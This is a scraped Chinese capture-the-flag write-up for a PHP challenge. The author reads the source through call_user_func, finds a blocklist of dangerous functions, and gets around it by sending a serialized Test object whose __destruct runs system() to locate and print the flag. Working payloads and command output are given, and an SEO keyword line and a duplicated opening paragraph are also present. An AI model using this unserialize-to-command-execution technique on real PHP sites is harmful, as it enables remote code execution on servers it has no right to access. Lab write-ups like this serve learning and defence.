评价一个网站的优缺点,建设部网站1667号下载,wordpress页面伪静态,广州娱乐场所最新通知时间一跳一跳的 抓个包 很奇怪 结合上面的 date() 认为第一个是函数 我们随便输一个看看 发现过滤了
随便输一个 linux指令 发现报错了 call_user_func()
看看是啥 很容易理解 第一个参数是函数名 后面是 参数
那么这里就是
func 函数 p 数值
所以我们看看有什么办法可以…
时间一跳一跳的 抓个包 很奇怪 结合上面的 date() 认为第一个是函数 我们随便输一个看看 发现过滤了
随便输一个 linux指令 发现报错了 call_user_func()
看看是啥 很容易理解 第一个参数是函数名 后面是 参数
那么这里就是
func 函数 p 数值
所以我们看看有什么办法可以
我们尝试读取源代码看看吧
最简单的 伪协议函数
funcfile_get_contentspindex.php
成功读取了
?php$disable_fun array(exec,shell_exec,system,passthru,proc_open,show_source,phpinfo,popen,dl,eval,proc_terminate,touch,escapeshellcmd,escapeshellarg,assert,substr_replace,call_user_func_array,call_user_func,array_filter, array_walk, array_map,registregister_shutdown_function,register_tick_function,filter_var, filter_var_array, uasort, uksort, array_reduce,array_walk, array_walk_recursive,pcntl_exec,fopen,fwrite,file_put_contents);function gettime($func, $p) {$result call_user_func($func, $p);$a gettype($result);if ($a string) {return $result;} else {return ;}}class Test {var $p Y-m-d h:i:s a;var $func date;function __destruct() {if ($this-func ! ) {echo gettime($this-func, $this-p);}}}$func $_REQUEST[func];$p $_REQUEST[p];if ($func ! null) {$func strtolower($func);if (!in_array($func,$disable_fun)) {echo gettime($func, $p);}else {die(Hacker...);}}?
过滤了许多函数 system在里面
这里我们发现了 __destruct() class Test {var $p Y-m-d h:i:s a;var $func date;function __destruct() {if ($this-func ! ) {echo gettime($this-func, $this-p);}}}
这里很显然 魔术方法 就是让我们反序列了
既然 $p为参数 $func为函数名
我们直接构造序列化就可以了
?phpclass Test {var $p ls;var $func system;function __destruct() {if ($this-func ! ) {echo gettime($this-func, $this-p);}}}
$anew Test();
echo urlencode(serialize($a)); O:4:Test:2:{s:1:p;s:17:find /-name flag*;s:4:func;s:6:system;}
查找flag文件
/script
p/proc/sys/kernel/sched_domain/cpu0/domain0/flags
/proc/sys/kernel/sched_domain/cpu1/domain0/flags
/proc/sys/kernel/sched_domain/cpu10/domain0/flags
/proc/sys/kernel/sched_domain/cpu11/domain0/flags
/proc/sys/kernel/sched_domain/cpu12/domain0/flags
/proc/sys/kernel/sched_domain/cpu13/domain0/flags
/proc/sys/kernel/sched_domain/cpu14/domain0/flags
/proc/sys/kernel/sched_domain/cpu15/domain0/flags
/proc/sys/kernel/sched_domain/cpu16/domain0/flags
/proc/sys/kernel/sched_domain/cpu17/domain0/flags
/proc/sys/kernel/sched_domain/cpu18/domain0/flags
/proc/sys/kernel/sched_domain/cpu19/domain0/flags
/proc/sys/kernel/sched_domain/cpu2/domain0/flags
/proc/sys/kernel/sched_domain/cpu20/domain0/flags
/proc/sys/kernel/sched_domain/cpu21/domain0/flags
/proc/sys/kernel/sched_domain/cpu22/domain0/flags
/proc/sys/kernel/sched_domain/cpu23/domain0/flags
/proc/sys/kernel/sched_domain/cpu24/domain0/flags
/proc/sys/kernel/sched_domain/cpu25/domain0/flags
/proc/sys/kernel/sched_domain/cpu26/domain0/flags
/proc/sys/kernel/sched_domain/cpu27/domain0/flags
/proc/sys/kernel/sched_domain/cpu28/domain0/flags
/proc/sys/kernel/sched_domain/cpu29/domain0/flags
/proc/sys/kernel/sched_domain/cpu3/domain0/flags
/proc/sys/kernel/sched_domain/cpu30/domain0/flags
/proc/sys/kernel/sched_domain/cpu31/domain0/flags
/proc/sys/kernel/sched_domain/cpu4/domain0/flags
/proc/sys/kernel/sched_domain/cpu5/domain0/flags
/proc/sys/kernel/sched_domain/cpu6/domain0/flags
/proc/sys/kernel/sched_domain/cpu7/domain0/flags
/proc/sys/kernel/sched_domain/cpu8/domain0/flags
/proc/sys/kernel/sched_domain/cpu9/domain0/flags
/sys/devices/pnp0/00:00/tty/ttyS0/flags
/sys/devices/platform/serial8250/tty/ttyS15/flags
/sys/devices/platform/serial8250/tty/ttyS6/flags
/sys/devices/platform/serial8250/tty/ttyS23/flags
/sys/devices/platform/serial8250/tty/ttyS13/flags
/sys/devices/platform/serial8250/tty/ttyS31/flags
/sys/devices/platform/serial8250/tty/ttyS4/flags
/sys/devices/platform/serial8250/tty/ttyS21/flags
/sys/devices/platform/serial8250/tty/ttyS11/flags
/sys/devices/platform/serial8250/tty/ttyS2/flags
/sys/devices/platform/serial8250/tty/ttyS28/flags
/sys/devices/platform/serial8250/tty/ttyS18/flags
/sys/devices/platform/serial8250/tty/ttyS9/flags
/sys/devices/platform/serial8250/tty/ttyS26/flags
/sys/devices/platform/serial8250/tty/ttyS16/flags
/sys/devices/platform/serial8250/tty/ttyS7/flags
/sys/devices/platform/serial8250/tty/ttyS24/flags
/sys/devices/platform/serial8250/tty/ttyS14/flags
/sys/devices/platform/serial8250/tty/ttyS5/flags
/sys/devices/platform/serial8250/tty/ttyS22/flags
/sys/devices/platform/serial8250/tty/ttyS12/flags
/sys/devices/platform/serial8250/tty/ttyS30/flags
/sys/devices/platform/serial8250/tty/ttyS3/flags
/sys/devices/platform/serial8250/tty/ttyS20/flags
/sys/devices/platform/serial8250/tty/ttyS10/flags
/sys/devices/platform/serial8250/tty/ttyS29/flags
/sys/devices/platform/serial8250/tty/ttyS1/flags
/sys/devices/platform/serial8250/tty/ttyS19/flags
/sys/devices/platform/serial8250/tty/ttyS27/flags
/sys/devices/platform/serial8250/tty/ttyS17/flags
/sys/devices/platform/serial8250/tty/ttyS8/flags
/sys/devices/platform/serial8250/tty/ttyS25/flags
/sys/devices/virtual/net/lo/flags
/sys/devices/virtual/net/eth0/flags
/sys/devices/virtual/net/tunl0/flags
/tmp/flagoefiu4r93
/tmp/flagoefiu4r93/p
很显然 最后两个很奇怪 我们直接读取 funcunserializepO:4:Test:2:{s:1:p;s:22:cat /tmp/flagoefiu4r93;s:4:func;s:6:system;} 得到了 flag
这里主要考点是 call_user_func()
然后通过 反序列化传递参数 很简单的一道题了
水一下吧^^
